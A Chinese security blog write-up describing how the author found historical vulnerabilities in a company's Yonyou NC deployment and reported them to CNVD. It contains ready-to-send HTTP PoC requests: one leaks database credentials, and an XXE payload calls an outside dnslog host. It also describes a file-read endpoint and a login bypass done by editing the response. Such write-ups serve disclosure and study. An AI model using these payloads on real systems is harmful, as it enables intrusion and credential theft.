漏洞挖掘|轻松挖掘某企业某友系统的多个漏洞

admin 2024年3月5日23:23:09评论102 views字数 3054阅读10分10秒阅读模式

漏洞挖掘|轻松挖掘某企业某友系统的多个漏洞

0x01 前言

    在某天我打点CNVD资产的时候,我的WX响了起来,收到一个不明文件,后面收到备注后,我就懂了

漏洞挖掘|轻松挖掘某企业某友系统的多个漏洞

    筛选后找一下对应企业的资产信息,资产并不多,主页和OA以及yongyou NC,OA为最新版,但是NC很眼熟,给人一种有着成熟洞的感觉

漏洞挖掘|轻松挖掘某企业某友系统的多个漏洞

    发现的几个漏洞都是历史漏洞,对于个人技术而言没有什么创新性,但是就当继续学习吧,对此系统的漏洞产生一个新的认知

* 文中的工具及文章仅供参考,请勿做违法使用,后果自负

0x02 剧情演绎

已知WEB系统类型,剩下的就交给工具了,术业有专攻,咱们能被动手机就不做主动,能半扫就不漏扫,万一给系统干崩咯,就不是挖洞的事了

    使用专项工具进行检测一下,获取到了此版本的历史漏洞名称,一一进行复测

漏洞挖掘|轻松挖掘某企业某友系统的多个漏洞

相关OA漏洞工具,关注公众号回复 '20240305' 获取

既然给出了相关的接口和漏洞名称,则利用方法,证明漏洞存在,上交即可

1. ActionHandlerServlet_serial

这个我本想传马,但是一直传不上去,不知道是有waf的存在还是权限太小,只能使用DNSLOG证明一下漏洞存在

漏洞挖掘|轻松挖掘某企业某友系统的多个漏洞

漏洞挖掘|轻松挖掘某企业某友系统的多个漏洞

漏洞挖掘|轻松挖掘某企业某友系统的多个漏洞

2. wsncapplet_info

这个没什么重要的,也就是个低危,在访问xxx.com/jsp/wsncapplet.jsp后会下载一个ncws.jnlp文件,文件存放着一些系统信息漏洞挖掘|轻松挖掘某企业某友系统的多个漏洞

3. NCFindWeb_FileRead

yongyou nc任意文件读取漏洞

xxx.com/NCFindWeb?service=IPreAlertConfigService&filename=

说是任意文件读取,但是往上级读取,一直读不到,只能读下级递归目录文件

漏洞挖掘|轻松挖掘某企业某友系统的多个漏洞

本想着通过文件上传到已知目录,但是传不上去

漏洞挖掘|轻松挖掘某企业某友系统的多个漏洞

漏洞挖掘|轻松挖掘某企业某友系统的多个漏洞

4. PortalSESInitToolService_info 接口泄露

这个是用友NC的接口泄露,一般存在老版本中,会泄露数据库的账号密码等

xxx.com/uapws/service

漏洞挖掘|轻松挖掘某企业某友系统的多个漏洞

通过以下POC获取到使用的Oracle数据库信息及账号密码

POST /uapws/service/nc.itf.ses.inittool.PortalSESInitToolService HTTP/1.1Host: xxx.comUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: JSESSIONID=0000BEtj3PKIkEuQEl3QgSG0m_s:ncMem01; PHPSESSID=2udllet2aacl7sipggrivh1ao0; Hm_lvt_3f0e2ef8a35eee0e88de480534cd2f83=1709442601,1709559502; Hm_lpvt_3f0e2ef8a35eee0e88de480534cd2f83=1709559502Connection: closeContent-Length: 237<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:por="http://inittool.ses.itf.nc/PortalSESInitToolService"> <soapenv:Header/> <soapenv:Body>    <por:getDataSourceConfig/> </soapenv:Body></soapenv:Envelope

漏洞挖掘|轻松挖掘某企业某友系统的多个漏洞

5. IUpdateService_xxe漏洞

有一个直接性的POC直接DNSLOG,但是我访问一直超时,不知道为什么

POST /uapws/service/nc.uap.oba.update.IUpdateService HTTP/1.1Host: xxx.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Content-Length: 421Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closeContent-Type: text/xml;charset=UTF-8SOAPAction: urn:getResultUpgrade-Insecure-Requests: 1<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:iup="http://update.oba.uap.nc/IUpdateService"><soapenv:Header/><soapenv:Body><iup:getResult><!--type: string--><iup:string><![CDATA[<!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://c2vkbwbs.dnslog.pw">%aaa;%ccc;%ddd;]><xxx/>]]></iup:string></iup:getResult></soapenv:Body></soapenv:Envelope>

漏洞挖掘|轻松挖掘某企业某友系统的多个漏洞

然后我正苦思冥想中,想到了老版本的NC可以绕过登录验证,于是就访问用友NC的后台,即WS console,但是没想到是弱口令

漏洞挖掘|轻松挖掘某企业某友系统的多个漏洞

登录验证绕过:就是登录后修改返回包,正常情况下密码错误返回包是0,正确则是1,把0改为1则登录成功

漏洞挖掘|轻松挖掘某企业某友系统的多个漏洞

登录成功后,找到图中以下路径进行发送POC中的包内容

漏洞挖掘|轻松挖掘某企业某友系统的多个漏洞

漏洞挖掘|轻松挖掘某企业某友系统的多个漏洞

其次就是使用以下payload直接GET访问dnslog地址

https://xxx.com/uapws/service/nc.uap.oba.update.IUpdateService?xsd=http://xxx.dnslog.cn

漏洞挖掘|轻松挖掘某企业某友系统的多个漏洞

0x03 总结

    最近确实挺忙活,然后挖洞的情况下也漫无目的的去挖,本身讲究的就是可验证性,我有三不:不对系统造成危害,不碰数据,不碰金额,其次就是需要学的还有很多,这次其实就是个巧合,最后交玩收工,相当于没费劲捡洞了!

原文始发于微信公众号(州弟学安全):漏洞挖掘|轻松挖掘某企业某友系统的多个漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年3月5日23:23:09
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   漏洞挖掘|轻松挖掘某企业某友系统的多个漏洞https://cn-sec.com/archives/2549752.html

发表评论

匿名网友 填写信息